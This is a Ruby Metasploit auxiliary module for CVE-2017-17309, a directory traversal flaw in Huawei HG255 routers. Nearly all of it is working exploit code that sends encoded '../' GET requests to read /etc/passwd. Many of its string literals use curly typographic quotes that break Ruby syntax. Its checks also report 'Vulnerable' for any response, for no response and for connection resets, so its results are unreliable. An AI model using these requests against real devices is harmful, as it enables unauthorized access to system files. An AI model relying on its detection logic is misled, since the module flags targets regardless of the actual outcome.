## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Huawei HG255 Directory Traversal', ‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’, ‘Author’ => ‘Ismail Tasdelen’, ‘License’ => MSF_LICENSE, ‘References’ => [ ['CVE', '2017-17309' ], ['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en'] ] ) register_options( [ Opt::RPORT(80) ], self.class ) end def run urllist=[ ‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’, ‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’, ‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’, ‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’] urllist.each do |url| begin res = send_request_raw( { ‘method’=> ‘GET’, ‘uri’=> url }) if res print_good(“Vulnerable! for #{url}”) else print_status(“Vulnerable(no response) detected for #{url}”) end rescue Errno::ECONNRESET print_status(“Vulnerable(rst) detected for #{url}”) rescue Exception print_error(“Connection failed.”) end end end